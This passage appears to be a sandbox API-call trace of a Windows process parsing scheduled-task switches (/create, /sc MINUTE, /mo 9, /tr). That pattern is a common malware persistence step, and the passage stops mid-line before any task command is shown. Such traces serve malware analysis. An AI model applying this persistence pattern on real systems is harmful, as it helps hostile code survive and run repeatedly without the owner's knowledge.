_vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.825] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.825] lstrlenW (lpString="|create|") returned 8 [0134.825] lstrlenW (lpString="|sc|") returned 4 [0134.825] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0134.825] SetLastError (dwErrCode=0x490) [0134.825] lstrlenW (lpString="?") returned 1 [0134.825] lstrlenW (lpString="?") returned 1 [0134.825] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.825] lstrlenW (lpString="sc") returned 2 [0134.825] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.825] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.825] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.825] lstrlenW (lpString="|?|") returned 3 [0134.825] lstrlenW (lpString="|sc|") returned 4 [0134.825] SetLastError (dwErrCode=0x490) [0134.826] lstrlenW (lpString="s") returned 1 [0134.826] lstrlenW (lpString="s") returned 1 [0134.826] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.826] lstrlenW (lpString="sc") returned 2 [0134.826] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.826] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.826] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.826] lstrlenW (lpString="|s|") returned 3 [0134.826] lstrlenW (lpString="|sc|") returned 4 [0134.826] SetLastError (dwErrCode=0x490) [0134.826] lstrlenW (lpString="u") returned 1 [0134.826] lstrlenW (lpString="u") returned 1 [0134.826] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.826] lstrlenW (lpString="sc") returned 2 [0134.826] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.826] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.826] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.826] lstrlenW (lpString="|u|") returned 3 [0134.826] lstrlenW (lpString="|sc|") returned 4 [0134.826] SetLastError (dwErrCode=0x490) [0134.826] lstrlenW (lpString="p") returned 1 [0134.826] lstrlenW (lpString="p") returned 1 [0134.826] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.826] lstrlenW (lpString="sc") returned 2 [0134.826] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.827] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.827] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.827] lstrlenW (lpString="|p|") returned 3 [0134.827] lstrlenW (lpString="|sc|") returned 4 [0134.827] SetLastError (dwErrCode=0x490) [0134.827] lstrlenW (lpString="ru") returned 2 [0134.827] lstrlenW (lpString="ru") returned 2 [0134.827] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.827] lstrlenW (lpString="sc") returned 2 [0134.827] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.827] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.827] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.827] lstrlenW (lpString="|ru|") returned 4 [0134.827] lstrlenW (lpString="|sc|") returned 4 [0134.827] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0134.827] SetLastError (dwErrCode=0x490) [0134.827] lstrlenW (lpString="rp") returned 2 [0134.827] lstrlenW (lpString="rp") returned 2 [0134.827] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.827] lstrlenW (lpString="sc") returned 2 [0134.827] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.827] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.827] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.827] lstrlenW (lpString="|rp|") returned 4 [0134.827] lstrlenW (lpString="|sc|") returned 4 [0134.828] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0134.828] SetLastError (dwErrCode=0x490) [0134.828] lstrlenW (lpString="sc") returned 2 [0134.828] lstrlenW (lpString="sc") returned 2 [0134.828] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.828] lstrlenW (lpString="sc") returned 2 [0134.828] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.828] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.828] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.828] lstrlenW (lpString="|sc|") returned 4 [0134.828] lstrlenW (lpString="|sc|") returned 4 [0134.828] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0134.828] SetLastError (dwErrCode=0x0) [0134.828] SetLastError (dwErrCode=0x0) [0134.828] lstrlenW (lpString="MINUTE") returned 6 [0134.828] lstrlenW (lpString="-/") returned 2 [0134.828] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0134.828] SetLastError (dwErrCode=0x490) [0134.828] SetLastError (dwErrCode=0x490) [0134.828] SetLastError (dwErrCode=0x0) [0134.828] lstrlenW (lpString="MINUTE") returned 6 [0134.828] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0134.828] SetLastError (dwErrCode=0x490) [0134.828] SetLastError (dwErrCode=0x0) [0134.828] GetProcessHeap () returned 0x2f0000 [0134.828] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d490 [0134.828] _memicmp (_Buf1=0x30d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.829] lstrlenW (lpString="MINUTE") returned 6 [0134.829] GetProcessHeap () returned 0x2f0000 [0134.829] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d550 [0134.829] lstrlenW (lpString="MINUTE") returned 6 [0134.829] lstrlenW (lpString=" \x09") returned 2 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0134.829] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0134.829] GetLastError () returned 0x0 [0134.829] lstrlenW (lpString="MINUTE") returned 6 [0134.829] lstrlenW (lpString="MINUTE") returned 6 [0134.829] SetLastError (dwErrCode=0x0) [0134.829] SetLastError (dwErrCode=0x0) [0134.829] lstrlenW (lpString="/mo") returned 3 [0134.829] lstrlenW (lpString="-/") returned 2 [0134.829] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.829] lstrlenW (lpString="create") returned 6 [0134.829] lstrlenW (lpString="create") returned 6 [0134.829] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.829] lstrlenW (lpString="mo") returned 2 [0134.829] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.829] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.829] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.829] lstrlenW (lpString="|create|") returned 8 [0134.830] lstrlenW (lpString="|mo|") returned 4 [0134.830] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0134.830] SetLastError (dwErrCode=0x490) [0134.830] lstrlenW (lpString="?") returned 1 [0134.830] lstrlenW (lpString="?") returned 1 [0134.830] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.830] lstrlenW (lpString="mo") returned 2 [0134.830] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.830] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.830] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.830] lstrlenW (lpString="|?|") returned 3 [0134.830] lstrlenW (lpString="|mo|") returned 4 [0134.830] SetLastError (dwErrCode=0x490) [0134.830] lstrlenW (lpString="s") returned 1 [0134.830] lstrlenW (lpString="s") returned 1 [0134.830] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.830] lstrlenW (lpString="mo") returned 2 [0134.830] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.830] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.830] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.830] lstrlenW (lpString="|s|") returned 3 [0134.830] lstrlenW (lpString="|mo|") returned 4 [0134.830] SetLastError (dwErrCode=0x490) [0134.830] lstrlenW (lpString="u") returned 1 [0134.830] lstrlenW (lpString="u") returned 1 [0134.830] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] lstrlenW (lpString="mo") returned 2 [0134.831] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.831] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.831] lstrlenW (lpString="|u|") returned 3 [0134.831] lstrlenW (lpString="|mo|") returned 4 [0134.831] SetLastError (dwErrCode=0x490) [0134.831] lstrlenW (lpString="p") returned 1 [0134.831] lstrlenW (lpString="p") returned 1 [0134.831] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] lstrlenW (lpString="mo") returned 2 [0134.831] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.831] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.831] lstrlenW (lpString="|p|") returned 3 [0134.831] lstrlenW (lpString="|mo|") returned 4 [0134.831] SetLastError (dwErrCode=0x490) [0134.831] lstrlenW (lpString="ru") returned 2 [0134.831] lstrlenW (lpString="ru") returned 2 [0134.831] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] lstrlenW (lpString="mo") returned 2 [0134.831] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.831] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.831] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.831] lstrlenW (lpString="|ru|") returned 4 [0134.832] lstrlenW (lpString="|mo|") returned 4 [0134.832] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0134.832] SetLastError (dwErrCode=0x490) [0134.832] lstrlenW (lpString="rp") returned 2 [0134.832] lstrlenW (lpString="rp") returned 2 [0134.832] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.832] lstrlenW (lpString="mo") returned 2 [0134.832] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.832] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.832] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.832] lstrlenW (lpString="|rp|") returned 4 [0134.832] lstrlenW (lpString="|mo|") returned 4 [0134.832] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0134.832] SetLastError (dwErrCode=0x490) [0134.832] lstrlenW (lpString="sc") returned 2 [0134.832] lstrlenW (lpString="sc") returned 2 [0134.832] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.832] lstrlenW (lpString="mo") returned 2 [0134.832] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.832] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.832] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.832] lstrlenW (lpString="|sc|") returned 4 [0134.832] lstrlenW (lpString="|mo|") returned 4 [0134.832] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0134.832] SetLastError (dwErrCode=0x490) [0134.832] lstrlenW (lpString="mo") returned 2 [0134.833] lstrlenW (lpString="mo") returned 2 [0134.833] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.833] lstrlenW (lpString="mo") returned 2 [0134.833] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.833] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.833] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.833] lstrlenW (lpString="|mo|") returned 4 [0134.833] lstrlenW (lpString="|mo|") returned 4 [0134.833] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0134.833] SetLastError (dwErrCode=0x0) [0134.833] SetLastError (dwErrCode=0x0) [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] SetLastError (dwErrCode=0x490) [0134.833] SetLastError (dwErrCode=0x0) [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0134.833] SetLastError (dwErrCode=0x490) [0134.833] SetLastError (dwErrCode=0x0) [0134.833] _memicmp (_Buf1=0x30d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] lstrlenW (lpString=" \x09") returned 2 [0134.833] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0134.833] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0134.833] GetLastError () returned 0x0 [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] lstrlenW (lpString="9") returned 1 [0134.833] GetProcessHeap () returned 0x2f0000 [0134.834] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x4) returned 0x30b960 [0134.834] SetLastError (dwErrCode=0x0) [0134.834] SetLastError (dwErrCode=0x0) [0134.834] lstrlenW (lpString="/tr") returned 3 [0134.834] lstrlenW (lpString="-/") returned 2 [0134.834] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.834] lstrlenW (lpString="create") returned 6 [0134.834] lstrlenW (lpString="create") returned 6 [0134.834] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.834] lstrlenW (lpString="tr") returned 2 [0134.834] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.834] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.834] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.834] lstrlenW (lpString="|create|") returned 8 [0134.834] lstrlenW (lpString="|tr|") returned 4 [0134.834] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0134.834] SetLastError (dwErrCode=0x490) [0134.834] lstrlenW (lpString="?") returned 1 [0134.834] lstrlenW (lpString="?") returned 1 [0134.834] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.834] lstrlenW (lpString="tr") returned 2 [0134.834] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.834] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.834] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.834] lstrlenW (lpString="|?|") returned 3 [0134.834] lstrlenW (lpString="|tr|") returned 4 [0134.835] SetLastError (dwErrCode=0x490) [0134.835] lstrlenW (lpString="s") returned 1 [0134.835] lstrlenW (lpString="s") returned 1 [0134.835] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.835] lstrlenW (lpString="tr") returned 2 [0134.835] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.835] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.835] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.835] lstrlenW (lpString="|s|") returned 3 [0134.835] lstrlenW (lpString="|tr|") returned 4 [0134.835] SetLastError (dwErrCode=0x490) [0134.835] lstrlenW (lpString="u") returned 1 [0134.835] lstrlenW (lpString="u") returned 1 [0134.835] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.835] lstrlenW (lpString="tr") returned 2 [0134.835] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.835] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.835] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.835] lstrlenW (lpString="|u|") returned 3 [0134.835] lstrlenW (lpString="|tr|") returned 4 [0134.835] SetLastError (dwErrCode=0x490) [0134.835] lstrlenW (lpString="p") returned 1 [0134.835] lstrlenW (lpString="p") returned 1 [0134.835] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.835] lstrlenW (lpString="tr") returned 2 [0134.835] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.836] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.836] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.836] lstrlenW (lpString="|p|") returned 3 [0134.836] lstrlenW (lpString="|tr|") returned 4 [0134.836] SetLastError (dwErrCode=0x490) [0134.836] lstrlenW (lpString="ru") returned 2 [0134.836] lstrlenW (lpString="ru") returned 2 [0134.836] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.836] lstrlenW (lpString="tr") returned 2 [0134.836] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.836] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.836] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.836] lstrlenW (lpString="|ru|") returned 4 [0134.836] lstrlenW (lpString="|tr|") returned 4 [0134.836] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0134.836] SetLastError (dwErrCode=0x490) [0134.836] lstrlenW (lpString="rp") returned 2 [0134.836] lstrlenW (lpString="rp") returned 2 [0134.836] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.836] lstrlenW (lpString="tr") returned 2 [0134.836] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.836] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.836] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.836] lstrlenW (lpString="|rp|") returned 4 [0134.837] lstrlenW (lpString="|tr|") returned 4 [0134.837] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0134.837] SetLastError (dwErrCode=0x490) [0134.837] lstrlenW (lpString="sc") returned 2 [0134.837] lstrlenW (lpString="sc") returned 2 [0134.837] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.837] lstrlenW (lpString="tr") returned 2 [0134.837] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.837] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.837] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.837] lstrlenW (lpString="|sc|") returned 4 [0134.837] lstrlenW (lpString="|tr|") returned 4 [0134.837] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0134.837] SetLastError (dwErrCode=0x490) [0134.837] lstrlenW (lpString="mo") returned 2 [0134.837] lstrlenW (lpString="mo") returned 2 [0134.837] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.837] lstrlenW (lpString="tr") returned 2 [0134.837] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.837] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.837] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.837] lstrlenW (lpString="|mo|") returned 4 [0134.837] lstrlenW (lpString="|tr|") returned 4 [0134.837] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0134.837] SetLastError (dwErrCode=0x490) [0134.838] lstrlenW (lpString="d") returned 1 [0134.838] lstrlenW (lpString="d") returned 1 [0134.838] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.838] lstrlenW (lpString="tr") returned 2 [0134.838] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.838] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0134.838] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.838] lstrlenW (lpString="|d|") returned 3 [0134.838] lstrlenW (lpString="|tr|") returned 4 [0134.838] SetLastError (dwErrCode=0x490) [0134.838] lstrlenW (lpString="m") returned 1 [0134.838] lstrlenW (lpString="m") returned 1 [0134.838] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.838] lstrlenW (lpString="tr") returned 2 [0134.838] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.838] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0134.838] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.838] lstrlenW (lpString="|m|") returned 3 [0134.838] lstrlenW (lpString="|tr|") returned 4 [0134.838] SetLastError (dwErrCode=0x490) [0134.838] lstrlenW (lpString="i") returned 1 [0134.838] lstrlenW (lpString="i") returned 1 [0134.838] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.838] lstrlenW (lpString="tr") returned 2 [0134.840] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.840] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0134.840] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.840] lstrlenW (lpString="|i|") returned 3 [0134.840] lstrlenW (lpString="|tr|") returned 4 [0134.840] SetLastError (dwErrCode=0x490) [0134.840] lstrlenW (lpString="tn") returned 2 [0134.840] lstrlenW (lpString="tn") returned 2 [0134.840] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.840] lstrlenW (lpString="tr") returned 2 [0134.840] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.840] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.840] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.840] lstrlenW (lpString="|tn|") returned 4 [0134.840] lstrlenW (lpString="|tr|") returned 4 [0134.840] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0134.840] SetLastError (dwErrCode=0x490) [0134.840] lstrlenW (lpString="tr") returned 2 [0134.840] lstrlenW (lpString="tr") returned 2 [0134.840] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.841] lstrlenW (lpString="tr") returned 2 [0134.841] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.841] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.841] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: 